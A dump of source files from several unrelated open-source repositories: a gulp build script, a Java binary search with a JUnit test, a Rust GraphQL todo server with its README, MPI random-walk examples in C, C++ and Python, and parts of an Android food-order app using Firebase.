copyFilesProd); gulp.task('copy-img-prod', copyImagesProd); gulp.task('copy-index-prod', copyIndexProd); gulp.task('clean-prod', cleanProd); // Generator Tasks gulp.task('component', generators.component); gulp.task('constant', generators.constant); gulp.task('config', generators.config); gulp.task('directive', generators.directive); gulp.task('interceptor', generators.interceptor); gulp.task('runner', generators.runner); gulp.task('service', generators.service); gulp.task('view', generators.view); gulp.task('template-cache', ngTemplateCache); // Task to clean up dist folder gulp.task('clean', clean); // SASS Tasks. gulp.task('build-app-styles', styles.build.bind(null, browserSync)); // Build vendor js gulp.task('build-vendor-js', vendor); // Build app js gulp.task('build-app-js', appjs); // Use annotation to make js file ready for minification (resolve angular dependencies) gulp.task('ng-annotate', annotate); // Uglify and minify app-js gulp.task('uglify-app-js', uglify); // esLint for javascript code linting. gulp.task('js-lint', jsLint); gulp.task('js-live-lint', jsLiveLint); // Sass linting gulp.task('sass-lint', sassLint); gulp.task('sass-live-lint', sassLiveLint); gulp.task('autoprefixcss', autoprefixcss); gulp.task('build-app-css', function(cb) { runSequence( 'build-app-styles', 'autoprefixcss', cb) }) gulp.task('pre-commit', ['sass-lint', 'js-lint']); gulp.task('build', build); // this task utilizes the browsersync plugin // to create a dev server instance // at http://localhost:9000 gulp.task('serve', ['build'], function(done) { browserSync.init({ online: false, open: false, port: 9000, server: { baseDir: ['.'], middleware: function(req, res, next) { res.setHeader('Access-Control-Allow-Origin', '*'); next(); } } }, done); }); gulp.task('watch', ['serve'], function() { var queue = sequence(300); watch(paths.source, { name: 'JS', emitOnGlob: false }, queue.getHandler('js-live-lint', 'build-app-js', 'reload')); watch(paths.html, { name: 'HTML', emitOnGlob: false }, queue.getHandler('template-cache', 'reload')); watch(paths.css, { name: 'SASS', emitOnGlob: false }, queue.getHandler('sass-live-lint', 'build-app-css')); }) gulp.task('reload', function() { browserSync.reload(); setTimeout(function() { browserSync.notify(errorMsg, 5000); errorMsg = ''; }, 500); })
f759643593180f48fdf4543d948be4c754235379
[ "JavaScript", "Markdown" ]
32
JavaScript
utrolig/ng-boilerplate
bb29ea3ef3b15ca5894023fc02718f67b0249367
9b954dfbae5b5d239efb3f6d92b7c6fadc0f4250
refs/heads/master
<file_sep>package com.github.hcsp.algorithm; public class BinarySearch { public static void main(String[] args) { System.out.println(binarySearch(new String[]{"aaa", "ccc", "fff", "yyy", "zzz"}, "bbb")); System.out.println(binarySearch(new String[]{"aaa", "ccc", "fff", "yyy", "zzz"}, "yyy")); } // 给定一个按照字符串升序升序排好序的用户数组,寻找目标字符串的位置,返回其索引值 // 如果未找到,返回-1 // 我们鼓励你使用递归和非递归两种方式 public static int binarySearch(String[] strings, String target) { // 递归实现二分查找 int low = 0; int high = strings.length - 1; // return recursionSearch(strings, low, high, target); return nonRecursionSearch(strings, low, high, target); } private static int nonRecursionSearch(String[] strings, int low, int high, String target) { // 使用 while 循环实现 while (low <= high) { int middle = (low + high) / 2; String middleStr = strings[middle]; if (target.equals(middleStr)) { return middle; } else if (target.compareTo(middleStr) < 0) { // 目标在中间串前面 high = middle - 1; } else { // 目标在中间串后面 low = middle + 1; } } return -1; } /*private static int recursionSearch(String[] strings, int low, int high, String target) { if (low <= high) { int middle = (low + high) / 2; String middleString = strings[middle]; if (target.equals(middleString)) { return middle; } else if (target.compareTo(middleString) < 0) { // 目标在中间串前面 return recursionSearch(strings, low, middle - 1, target); } else { // 目标在中间串后面 return recursionSearch(strings, middle + 1, high, target); } } else { return -1; } }*/ } <file_sep>package com.github.hcsp.algorithm; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; public class BinarySearchTest { @Test public void test() { String[] array = "a quick brown fox jumps over the lazy dog".split(" "); Assertions.assertEquals(6, BinarySearch.binarySearch(array, "the")); Assertions.assertEquals(-1, BinarySearch.binarySearch(array, "aaa")); } }
aedf934687ba20befbe96f57af115036317d65e1
[ "Java" ]
2
Java
fcbhank/implement-bisearch
9cda128278319ef5e9fbe825926164935e1e92b7
185f053445113e93a612569c59ca22cb120e2c93
refs/heads/master
<repo_name>lucperkins/rust-graphql-juniper-actix-diesel-postgres<file_sep>/rust-toolchain.toml [toolchain] channel = "1.63.0" <file_sep>/src/graphql.rs use super::context::GraphQLContext; use diesel::pg::PgConnection; use juniper::{FieldResult, RootNode}; use super::data::Todos; use super::models::{CreateTodoInput, Todo}; // The root GraphQL query pub struct Query; // The root Query struct relies on GraphQLContext to provide the connection pool // needed to execute actual Postgres queries. #[juniper::object(Context = GraphQLContext)] impl Query { // This annotation isn't really necessary, as Juniper would convert the // all_todos function name into CamelCase. But I like to keep it explicit. #[graphql(name = "allTodos")] pub fn all_todos(context: &GraphQLContext) -> FieldResult<Vec<Todo>> { // TODO: pass the GraphQLContext into the querying functions rather // than a PgConnection (for brevity's sake) let conn: &PgConnection = &context.pool.get().unwrap(); Todos::all_todos(conn) } #[graphql(name = "doneTodos")] pub fn done_todos(context: &GraphQLContext) -> FieldResult<Vec<Todo>> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::done_todos(conn) } #[graphql(name = "notDoneTodos")] pub fn done_todos(context: &GraphQLContext) -> FieldResult<Vec<Todo>> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::not_done_todos(conn) } #[graphql(name = "getTodoById")] pub fn get_todo_by_id( context: &GraphQLContext, id: i32, ) -> FieldResult<Option<Todo>> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::get_todo_by_id(conn, id) } } // The root GraphQL mutation pub struct Mutation; #[juniper::object(Context = GraphQLContext)] impl Mutation { #[graphql(name = "createTodo")] pub fn create_todo( context: &GraphQLContext, input: CreateTodoInput, ) -> FieldResult<Todo> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::create_todo(conn, input) } #[graphql(name = "markTodoAsDone")] pub fn mark_todo_as_done(context: &GraphQLContext, id: i32) -> FieldResult<Todo> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::mark_todo_as_done(conn, id) } #[graphql(name = "markTodoAsNotDone")] pub fn mark_todo_as_not_done( context: &GraphQLContext, id: i32, ) -> FieldResult<Todo> { let conn: &PgConnection = &context.pool.get().unwrap(); Todos::mark_todo_as_not_done(conn, id) } } // And finally the root schema that pulls the query and mutation together. Perhaps someday // you'll see a Subscription struct here as well. pub type Schema = RootNode<'static, Query, Mutation>; pub fn create_schema() -> Schema { Schema::new(Query, Mutation) } <file_sep>/README.md # Rust + GraphQL + Juniper + Diesel + Postgres + Actix Yes, I know that this is a borderline absurd web stack for the ubiquitous TODO application but I had a *lot* of trouble getting this all to work. I started using these things for a more ambitious project and I'd love to spare you the trouble. So here's some basic boilerplate to get you up and running. ## Components Here's what does what: Component | Tool/lib :---------|:-------- Web server | [actix-web](https://github.com/actix/actix-web) Database | [PostgreSQL](https://postgresql.org) SQL engine | [Diesel](https://diesel.rs) GraphQL library | [Juniper](https://github.com/graphql-rust/juniper) GraphQL UI | [GraphQL Playground](https://github.com/prisma-labs/graphql-playground) ## Run locally > Before you get started, make sure that you have [PostgreSQL](https://postgresql.org), [Rust](https://rust-lang.org), [Cargo](https://doc.rust-lang.org/cargo/), and the [Diesel](https://diesel.rs) CLI installed and that you have Postgres running somewhere. ```bash # Fetch the repo git clone https://github.com/lucperkins/rust-actix-diesel-postgres-juniper cd rust-actix-diesel-postgres-juniper # Set up the database cp .env.example .env # Modify this file to match your Postgres installation diesel setup diesel migration run cargo run # could take a while! ``` > The `DATABASE_URL` can be any Postgres installation. For my purposes, I have it set to `postgres://localhost:5432/todos`. Once the server is running, you can access the GraphQL Playground UI at http://localhost:4000/graphql. ## Schema The server implements the following GraphQL schema: ```graphql type Todo { id: ID! task: String! done: Boolean! } input CreateTodoInput { task: String! done: Boolean } type Query { allTodos: [Todo!]! getTodoById(id: Int): Todo } type Mutation { createTodo(input: CreateTodoInput): Todo markTodoAsDone(id: Int): Todo markTodoAsNotDone(id: Int): Todo } schema { Query Mutation } ``` ## Tour of the codebase File | What it provides :----|:---------------- [`context.rs`](./src/context.rs) | The GraphQL [context](https://graphql.org/learn/execution) that handles query execution [`data.rs`](./src/data.rs) | A `Todos` struct and some helper functions encapsulate the [Diesel](https://diesel.rs)-powered Postgres querying logic [`db.rs`](./src/db.rs) | The connection pool that handles the Postgres connection [`endpoints.rs`](./src/endpoints.rs) | The `/graphql` HTTP endpoint that makes GraphQL and the GraphQL Playground work [`graphql.rs`](./src/graphql.rs) | The `Query`, `Mutation`, and `Schema` objects that undergird the GraphQL interface [`lib.rs`](./src/lib.rs) | Just the standard `lib.rs` [`main.rs`](./src/main.rs) | [Actix](https://actix.rs) HTTP server setup [`models.rs`](./src/models.rs) | All of the data types used for querying Postgres and providing GraphQL results [`schema.rs`](./src/schema.rs) | The Diesel-generated table schema ## Future TODOs Get it? Anyway, here's some areas for improvement (pull requests very much welcome): * **Error handling** — Right now errors basically propagate directly from Diesel/Postgres into the GraphQL JSON output, which is subpar. If any of you can point me to good educational resources on this, please file an issue! * **Better execution engine** — The server uses the extremely powerful [actix-web](https://github.com/actix/actix-web) but the actual DB interactions don't use Actix actors and it'd take this setup to the next level if they did. * **Use macros for schema generation** — The powerful [`juniper_from_schema`](https://docs.rs/juniper-from-schema/0.5.1/juniper_from_schema/) macro could help reduce boilerplate and improve development velocity. ## Acknowledgments I'm basically a beginner with Rust and would not have been able to put this together without peeking long and hard at the example projects and blog posts listed below. The lower-level bits you see here are basically stolen from [BrendanBall](https://github.com/BrendanBall). All that I've added is the [`Todos`](./src/data.rs) data construct for executing queries. ### Example projects * [BrendanBall/example-actix-web-juniper-diesel](https://github.com/BrendanBall/example-actix-web-juniper-diesel) * [iwilsonq/rust-graphql-example](https://github.com/iwilsonq/rust-graphql-example) * [dancespiele/listing_people_api_actix](https://github.com/dancespiele/listing_people_api_actix) ### Blog posts * [Building Powerful GraphQL Servers with Rust](https://dev.to/open-graphql/building-powerful-graphql-servers-with-rust-3gla) * [[Rust] juniper + diesel + actix-webでGraphQLしてみる](https://qiita.com/yagince/items/e378bbaa95e08bab7467)
f696d58d1ff02328e87f7d53b5d785ad4210aa4d
[ "TOML", "Rust", "Markdown" ]
3
TOML
lucperkins/rust-graphql-juniper-actix-diesel-postgres
793177c4f7c662c48d5666113832b54e9a2b0907
be01a32da7232f3f536c12349fe1a9e6065794c2
refs/heads/master
<file_sep>#include<iostream> #include<omp.h> int main(int argc,char* argv[]) { #pragma omp parallel { int thid=omp_get_thread_num(); #pragma omp for for (int i=0;i<10;i++) { std::cout<<"Thread "<< thid<<" is working on!"<<std::endl; } } return 0; } <file_sep>import numpy as np import time import matplotlib.pyplot as plt from random_walker import random_walker tmax=1000 nmax=10000 start=time.time() x_tr=[] y_tr=[] rw=random_walker(tmax,seed=1) for i in range(nmax): rw.reset() rw.run() x,y=rw.get_trajectory() x_tr.append(x) y_tr.append(y) end=time.time() print("Serial code takes ",end-start," seconds!") ''' Plotting routines ''' import matplotlib.pyplot as plt for i in range(10): plt.plot(x_tr[i],y_tr[i],lw=1) plt.xlabel(r"$x$ position") plt.ylabel(r"$y$ position") #plt.savefig("Random_work_trajectories.png",dpi=300,bbox_inches='tight') plt.show() <file_sep>#include<iostream> #include<random> #include<vector> class random_walker { public: random_walker(double& x_ini,double& y_ini,int seed):_x(x_ini),_y(y_ini) { set_seed(seed); } void set_seed(int& seed) { _mt_x.seed(seed); _mt_y.seed(seed+1); } void reset(double& x_ini,double& y_ini) { _x=x_ini; _y=y_ini; } void step(std::normal_distribution<double>& step_size) { _x+=step_size(_mt_x); _y+=step_size(_mt_y); } double x(){ return _x;} double y(){ return _y;} private: //interal state double _x; double _y; std::mt19937 _mt_x; std::mt19937 _mt_y; }; <file_sep>#include<iostream> #include<random> #include<vector> #include<time> #include"random_walker.h" int main(int argc,char* argv[]) { //Prepare parameters int t_max=100; int n_max=10000; std::normal_distribution<double> normal(0,1); //Initialize random walker and trajectory std::vector<double> x(t_max); std::vector<double> y(t_max); x[0]=0, y[0]=0; int seed=0; random_walker rw(x[0],y[0],seed); //Ensemble loop clock_t start=clock(); for(int i=0;i<n_max;i++) { rw.reset(x[0],y[0]); //Time step loop for(int t=1;t<t_max;t++) { rw.step(normal); x[t]=rw.x(); y[t]=rw.y(); } } clock_t end=clock(); std::cout<<n_max<<" random walks - " <<(double)(end-start)/CLOCKS_PER_SEC<<" seconds"<<std::endl; return 0; } <file_sep>#!/bin/bash mpiexec -n $1 python3 MPI.py <file_sep>#!/bin/bash mpiexec -n $1 ./MPI_cpp.x <file_sep>#include<iostream> #include<mpi.h> int main(int argc,char* argv[]) { int nproc,rank=0; MPI_Init(&argc,&argv); //From here MPI_Comm_size(MPI_COMM_WORLD,&nproc); MPI_Comm_rank(MPI_COMM_WORLD,&rank); //All cores works separately std::cout<<"I am core "<<rank<<" of "<<nproc<<std::endl; //Until here MPI_Finalize(); return 0; } <file_sep>#include<stdio.h> #include<mpi.h> int main(int argc,char* argv[]) { int nproc,rank=0; MPI_Init(&argc,&argv); //From here MPI_Comm_size(MPI_COMM_WORLD,&nproc); MPI_Comm_rank(MPI_COMM_WORLD,&rank); //All cores works separately printf("I am core %d of %d\n",rank,nproc); //Until here MPI_Finalize(); return 0; } <file_sep>Example 1 ============== # 2D random walk x(t+dt)=x(t)+\delta x(t) y(t+dt)=y(t)+\delta y(t) calculate 10000 random trajectory for 10000 time steps ### C++ template_MPI.cpp Provide example of embrassingly parallelization random_walk.cpp Serial code to generate random walk trajectories random_walker.h Header file constain random walker class random_walk_MPI.cppp Parallelized code to generate random wakl trajectories ### Python template_MPI.py Provide example of embrassingly parallelization random_walker.py Contain random walker class random_walk.py Serial code to generate random walk trajectories random_walker_MPI.py MPI parallelized code to generate random walk trajectoires <file_sep>#!/bin/bash mpiexec -n $1 ./MPI_c.x <file_sep>#!/bin/bash mpic++ -o MPI_cpp.x MPI.cpp <file_sep>#!/bin/bash mpic++ -o rw_MPI.x random_walk_MPI.cpp <file_sep>#include<iostream> #include<random> #include<vector> #include<mpi.h> #include"random_walker.h" int main(int argc,char* argv[]) { //MPI start int nproc,rank=0; MPI_Init(&argc,&argv); MPI_Comm_size(MPI_COMM_WORLD,&nproc); MPI_Comm_rank(MPI_COMM_WORLD,&rank); std::cout<<nproc<<" "<<rank<<std::endl; //Prepare parameters int t_max=100; int n_max=10000; std::normal_distribution<double> normal(0,1); //Initialize random walker and trajectory std::vector<double> x(t_max); std::vector<double> y(t_max); x[0]=0; y[0]=0; random_walker rw(x[0],y[0],rank); //Ensemble loop for(int i=rank;i<n_max;i+=nproc) { rw.reset(x[0],y[0]); std::cout<<i<<std::endl; //Time step loop for(int t=1;t<t_max;t++) { rw.step(normal); x[t]=rw.x(); y[t]=rw.y(); } } MPI_Finalize(); return 0; } <file_sep>import numpy as np import time import matplotlib.pyplot as plt from random_walker import random_walker tmax=1000 nmax=10000 start=time.time() #MPI start when mpi4py is imported from mpi4py import MPI comm = MPI.COMM_WORLD nproc = comm.Get_size() rank = comm.Get_rank() x_tr=[] y_tr=[] rw=random_walker(tmax,seed=1) for i in range(rank,nmax,nproc): rw.reset() rw.run() x,y=rw.get_trajectory() x_tr.append(x) y_tr.append(y) x_tr=comm.gather(x_tr,root=0) y_tr=comm.gather(y_tr,root=0) if rank==0: end=time.time() print("MPI code takes ",end-start," seconds!") ''' Plotting routines Just for presentation ''' if rank==0: x_tr=np.array(x_tr).reshape(nmax,tmax) y_tr=np.array(y_tr).reshape(nmax,tmax) import matplotlib.pyplot as plt for i in range(0,nproc*10,nproc): plt.plot(x_tr[i],y_tr[i],lw=1) plt.xlabel(r"$x$ position") plt.ylabel(r"$y$ position") #plt.savefig("Random_work_trajectories.png",dpi=300,bbox_inches='tight') plt.show() <file_sep>#System setting n_max=10000 #MPI start when mpi4py is imported from mpi4py import MPI comm = MPI.COMM_WORLD nproc = comm.Get_size() rank = comm.Get_rank() #Ensemble loop - parallized for i in range(rank,nmax,nproc): #Calculate here #Finish MPI MPI.COMM_WORLD.Barrier() MPI.Finalize() <file_sep>#include<iostream> #include<mpi.h> int main(int argc,char* argv[]) { /* MPI start */ int nproc,rank=0; MPI_Init(&argc,&argv); MPI_Comm_size(MPI_COMM_WORLD,&nproc); MPI_Comm_rank(MPI_COMM_WORLD,&rank); /* System setting */ int n_ensemble; //Ensemble loop - Parallelized! for ( int i = rank; i < n_ensemble; i += nproc ) { /* Calculate here */ } //MPI finish MPI_Finalize(); return 0; } <file_sep>import numpy as np class random_walker: def __init__(self,t_max,x_ini=0,y_ini=0,seed=None): self.t_max=t_max self.x_tr=np.zeros(t_max) self.y_tr=np.zeros(t_max) self.t_now=0 self.x_tr[0]=x_ini self.y_tr[0]=y_ini ''' if seed is None: rng=np.random.default_rng() else: rng=np.random.default_rng(seed) xyseeds=rng.integers(2**31,size=2) self.x_rng=np.random.default_rng(xyseeds[0]) self.y_rng=np.random.default_rng(xyseeds[1]) ''' return def get_trajectory(self): return self.x_tr,self.y_tr def reset(self,x_ini=0,y_ini=0): self.t_now=0 self.x_tr=np.zeros(self.t_max) self.y_tr=np.zeros(self.t_max) self.x_tr[0]=x_ini self.y_tr[0]=y_ini return def run(self,t_max=None): if self.t_now != 0: print("May be not initialized!") self.reset() if t_max is None: t_max=self.t_max #x_dis=self.x_rng.standard_normal(t_max-1) #y_dis=self.y_rng.standard_normal(t_max-1) x_dis=np.random.normal(size=t_max-1) y_dis=np.random.normal(size=t_max-1) for i in range(t_max-1): self.x_tr[self.t_now+1]=self.x_tr[self.t_now]+x_dis[self.t_now] self.y_tr[self.t_now+1]=self.y_tr[self.t_now]+y_dis[self.t_now] self.t_now=self.t_now+1 return <file_sep>from mpi4py import MPI #MPI initiated from import of mpi4py comm = MPI.COMM_WORLD nproc = comm.Get_size() rank = comm.Get_rank() print("I am %d of %d"%(nproc,rank)) comm.Barrier() MPI.Finalize() #MPI Finalized and run serial code sequentially. #Or not, MPI finish at the end of program automatically <file_sep>Example of Parallel programming =================== Time is the most important resources in our life. It is also important to us, graduate students in statistical physics communities, because our time to graduate is limited. However, we have too many computational jobs to generate reliable dataset. In order to reduce the time cost, we should use everything that we can use. Parallel computing uses multiple computing resources at once to accelerate computation. The calculation efficiency improves since many cores participate in the computation at the same time. Although this technique is powerful, many collages feel hard to apply the methods on their work. So I decide to share my tips to start parallel programming. This repository provides the basic examples of parallel programming in c++ and python for statistical physics community. I choose some examples in which the statistical physicist may face frequently. I suggest the useful template and examples for each problems with various languague (usually, c++ and python). This repository will be slowly, but continuely updated. If you have comments or question on this repository, contact me <<EMAIL>> Helpful reference to understand scheme briefly: [SamsungSDS](https://www.samsungsds.com/kr/story/1233713_4655.html) # Initiation This folder contains basic format of parallization libraries. ### Install Massage passing interface libraries: (C/C++) [MPICH](https://www.mpich.org) [openMPI](https://www.open-mpi.org) - recommand Linux https://soodalnote.wordpress.com/2016/06/07/open-mpi-설치하기 sudo apt-get install libopenmpi-dev Mac OS brew install openmpi (Python) [mpi4py](https://mpi4py.readthedocs.io/en/stable/) pip install mpi4py Simple examples, compile shell, running shells are included in this folder. ### C Compile mpicc -o (execute) (source) (links) Run mpiexec -n (number of cores) (execute) ### C++ Compile mpic++ -o (execute) (source) (links) Run mpiexec -n (number of cores) (execute) ### Python Run mpiexec -n (number of cores) python (execute) # MPI_example This folder contains examples of parallization using Message passing interface (MPI). Sample example : two-dimensional random walk problem Parallelization type : data parallelize using MPI ### C++ Compile mpic++ -o random_walk_MPI.x random_walk_MPI.cpp Run mpiexec -n (number of cores) ./random_walk_MPI.x ### Python Run mpiexec -n (number of cores) python3 random_walk_MPI.py <file_sep>#!/bin/bash mpicc -o MPI_c.x MPI.cc
947bace9c6de1daf98a5d83878e594c5556ec713
[ "Markdown", "Python", "C++", "Shell" ]
20
C++
schwarzg/parallel_example
8b6b4cb4ef1850235be250c0fcde21a0afd321a6
efce91b6fe2ee3b62e22a21fea3bdbb9a181d65d
refs/heads/master
<file_sep>package com.shrmn.is416.tumpang.utilities; public class FirstRunVariable { private boolean isFirstRun = false; private VariableChangeListener variableChangeListener; public boolean isFirstRun() { return isFirstRun; } public void setFirstRun(boolean firstRun) { isFirstRun = firstRun; if(variableChangeListener != null) variableChangeListener.onVariableChanged(isFirstRun); } public void setVariableChangeListener(VariableChangeListener variableChangeListener) { this.variableChangeListener = variableChangeListener; } } <file_sep>package com.shrmn.is416.tumpang; import android.app.Activity; import android.app.AlertDialog; import android.app.Dialog; import android.content.Context; import android.content.DialogInterface; import android.os.Bundle; import android.support.v4.app.DialogFragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; public class FirstRunDialog extends DialogFragment { private static final String TAG = "FRDialog"; @Override public Dialog onCreateDialog(Bundle savedInstanceState) { AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); // Get the layout inflater LayoutInflater inflater = getActivity().getLayoutInflater(); View dialogView = inflater.inflate(R.layout.dialog_firstrun, null); // Inflate and set the layout for the dialog // Pass null as the parent view because its going in the dialog layout builder.setView(dialogView) // Add action buttons .setPositiveButton("Done", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int id) { Log.d(TAG, "onClick: Positive. Should update user in Firestore"); mListener.onDialogPositiveClick(FirstRunDialog.this); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int id) { // FirstRunDialog.this.getDialog().cancel(); Log.d(TAG, "onClick: Negative. Should re-open login intent"); mListener.onDialogNegativeClick(FirstRunDialog.this); } }); return builder.create(); } /* The activity that creates an instance of this dialog fragment must * implement this interface in order to receive event callbacks. * Each method passes the DialogFragment in case the host needs to query it. */ public interface FirstRunDialogListener { void onDialogPositiveClick(DialogFragment dialog); void onDialogNegativeClick(DialogFragment dialog); } // Use this instance of the interface to deliver action events FirstRunDialogListener mListener; // Override the Fragment.onAttach() method to instantiate the NoticeDialogListener @Override public void onAttach(Context context) { super.onAttach(context); Activity activity; if (context instanceof Activity) { activity = (Activity) context; // Verify that the host activity implements the callback interface try { // Instantiate the NoticeDialogListener so we can send events to the host mListener = (FirstRunDialogListener) activity; } catch (ClassCastException e) { // The activity doesn't implement the interface, throw exception throw new ClassCastException(activity.toString() + " must implement NoticeDialogListener"); } } } } <file_sep>package com.shrmn.is416.tumpang.utilities; import android.app.Activity; import android.content.Context; import android.os.AsyncTask; import android.util.Log; import com.google.firebase.iid.FirebaseInstanceId; import com.loopj.android.http.*; import com.shrmn.is416.tumpang.MyApplication; import cz.msebera.android.httpclient.entity.StringEntity; /** * Created by Xuan on 20/3/18. */ public class FCMRestClient { private static final String BASE_URL = "https://fcm.googleapis.com/fcm/send"; private static AsyncHttpClient client = new AsyncHttpClient(); public static void get(String url, RequestParams params, AsyncHttpResponseHandler responseHandler) { client.get(getAbsoluteUrl(url), params, responseHandler); } public static void post(Context context, String url, StringEntity entity, AsyncHttpResponseHandler responseHandler) { client.addHeader("Authorization", "key=<KEY>"); client.post(context, getAbsoluteUrl(url), entity, "application/json", responseHandler ); // client.post(getAbsoluteUrl(url), params, responseHandler); Log.e("entity", entity.toString()); } private static String getAbsoluteUrl(String relativeUrl) { return BASE_URL + relativeUrl; } } <file_sep>package com.shrmn.is416.tumpang; import android.content.Intent; import android.graphics.Typeface; import android.net.Uri; import android.support.v4.app.DialogFragment; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.TextView; import com.google.firebase.messaging.FirebaseMessaging; import com.shrmn.is416.tumpang.utilities.VariableChangeListener; import static com.shrmn.is416.tumpang.MyApplication.firstRunVariable; import static com.shrmn.is416.tumpang.MyApplication.user; public class MainActivity extends AppCompatActivity implements FirstRunDialog.FirstRunDialogListener { private static final String TAG = "Main"; private TextView labelWelcome; public void showFirstRunDialog() { DialogFragment dialog = new FirstRunDialog(); dialog.show(getSupportFragmentManager(), "FirstRunDialog"); // Do not automatically open intent // openLoginIntent(); } public void openLoginIntent() { Log.i(TAG, "openLoginIntent: Opening login URL " + MyApplication.loginUrl); Intent i = new Intent(Intent.ACTION_VIEW); i.setData(Uri.parse(MyApplication.loginUrl)); startActivity(i); } public void setNegativeWelcomeText() { labelWelcome.setText("We require you to login to Telegram for full app functionality."); labelWelcome.setTypeface(labelWelcome.getTypeface(), Typeface.ITALIC); } @Override public void onDialogPositiveClick(DialogFragment dialog) { Log.d(TAG, "onDialogPositiveClick: Refreshing user from Firestore"); MyApplication.getUserFromFirestore(); } @Override public void onDialogNegativeClick(DialogFragment dialog) { Log.d(TAG, "onDialogNegativeClick: User cancelled"); setNegativeWelcomeText(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); labelWelcome = findViewById(R.id.label_welcome); firstRunVariable.setVariableChangeListener(new VariableChangeListener() { @Override public void onVariableChanged(Object... variableThatHasChanged) { boolean isFirstRun = (Boolean) variableThatHasChanged[0]; if (isFirstRun) { Log.d(TAG, "onVariableChanged: Detected first-run, presenting FirstRunDialog"); showFirstRunDialog(); } else { String displayName = user.displayName(); if (displayName == null) { setNegativeWelcomeText(); showFirstRunDialog(); } else { labelWelcome.setText("Welcome, " + displayName + "!"); } Log.d(TAG, "onVariableChanged: Not a first run."); // Subscribe to user's identifier as topic name String identifier = user.getIdentifier(); if (identifier != null) { FirebaseMessaging.getInstance().subscribeToTopic(identifier); Log.i("Subscribed to topic: ", identifier); } } } }); } public void newOrderRequest(View view) { Intent ptg = new Intent(this, NewOrderRequestActivity.class); startActivity(ptg); } public void fulfilOrderOrderRequest(View view) { Intent ptg = new Intent(this, FulfilOrdersActivity.class); startActivity(ptg); } public void onClickLoginButton(View view) { Log.d(TAG, "onClickLoginButton: Pressed."); openLoginIntent(); } public void goToMyPlacedOrders(View view) { Intent it = new Intent(this, MyPlacedOrdersActivity.class); startActivity(it); } } <file_sep>package com.shrmn.is416.tumpang; import android.app.Activity; import android.app.AlertDialog; import android.app.Application; import android.app.Dialog; import android.content.Context; import android.content.DialogInterface; import android.os.Bundle; import android.support.v4.app.DialogFragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.widget.EditText; import android.widget.TextView; import com.google.gson.JsonObject; import com.loopj.android.http.AsyncHttpResponseHandler; import com.shrmn.is416.tumpang.utilities.FCMRestClient; import java.io.UnsupportedEncodingException; import java.util.ArrayList; import java.util.HashMap; import cz.msebera.android.httpclient.Header; import cz.msebera.android.httpclient.entity.StringEntity; import cz.msebera.android.httpclient.message.BasicHeader; import cz.msebera.android.httpclient.protocol.HTTP; import static com.shrmn.is416.tumpang.MyApplication.user; public class OrderConfirmationDialog extends DialogFragment { private static final String TAG = "OrderConfirmDlg"; User user = MyApplication.user; @Override public Dialog onCreateDialog(Bundle savedInstanceState) { ArrayList<MenuItem> pendingMenuItems = (ArrayList<MenuItem>) MyApplication.pendingOrder.getPendingMenuItems(); String outletName = MyApplication.pendingOrder.getLocation().getName(); String outletAddress = MyApplication.pendingOrder.getLocation().getAddress(); String deliveryLocation = MyApplication.pendingOrder.getDeliveryLocation(); double tipAmount = MyApplication.pendingOrder.getTipAmount(); int totalOrderQuantity = 0; double OrderBill = 0; for(MenuItem menuItem: pendingMenuItems ) { totalOrderQuantity += menuItem.getQuantity(); OrderBill += menuItem.getUnitPrice() * menuItem.getQuantity(); } String strTipAmount = String.format("%.2f", tipAmount); String strOrderBill = String.format("%.2f", OrderBill); double totalOrderBill = tipAmount + OrderBill; String strTotalOrderBill = String.format("%.2f", totalOrderBill); AlertDialog.Builder builder = new AlertDialog.Builder(getActivity()); // Get the layout inflater LayoutInflater inflater = getActivity().getLayoutInflater(); View dialogView = inflater.inflate(R.layout.dialog_orderconfirmation, null); TextView orderUser = dialogView.findViewById(R.id.order_user); orderUser.setText("Order Username: " + user.getTelegramUsername()); TextView outletLocation = dialogView.findViewById(R.id.outlet_name); outletLocation.setText("Outlet Name: " + outletName); TextView outletAdd = dialogView.findViewById(R.id.outlet_address); outletAdd.setText("Outlet Address: " + outletAddress); TextView deliveryLoc = dialogView.findViewById(R.id.delivery_location); deliveryLoc.setText("Delivery Location: " + deliveryLocation); TextView tip = dialogView.findViewById(R.id.final_tip_amount); tip.setText("Tip Amount: $ " + strTipAmount); TextView orderQty = dialogView.findViewById(R.id.order_qty); orderQty.setText("Order Total Quantity: " +totalOrderQuantity+""); TextView orderBill = dialogView.findViewById(R.id.order_bill); orderBill.setText("Order BillAmount: $ " + strOrderBill); TextView totalBill = dialogView.findViewById(R.id.total_orderbill); totalBill.setText("Order Total BillAmount: $ " + strTotalOrderBill); // Inflate and set the layout for the dialog // Pass null as the parent view because its going in the dialog layout builder.setView(dialogView) // Add action buttons .setPositiveButton("Confirm", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int id) { Log.d(TAG, "onClick: Confirmed!"); mListener.onDialogPositiveClick(OrderConfirmationDialog.this); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { OrderConfirmationDialog.this.getDialog().cancel(); mListener.onDialogNegativeClick(OrderConfirmationDialog.this); } }); return builder.create(); } /* The activity that creates an instance of this dialog fragment must * implement this interface in order to receive event callbacks. * Each method passes the DialogFragment in case the host needs to query it. */ public interface OrderConfirmationDialogListener { void onDialogPositiveClick(DialogFragment dialog); void onDialogNegativeClick(DialogFragment dialog); } // Use this instance of the interface to deliver action events OrderConfirmationDialogListener mListener; // Override the Fragment.onAttach() method to instantiate the NoticeDialogListener @Override public void onAttach(Context context) { super.onAttach(context); Activity activity; if(context instanceof Activity) { activity = (Activity) context; // Verify that the host activity implements the callback interface try { // Instantiate the NoticeDialogListener so we can send events to the host mListener = (OrderConfirmationDialogListener) activity; } catch (ClassCastException e) { // The activity doesn't implement the interface, throw exception throw new 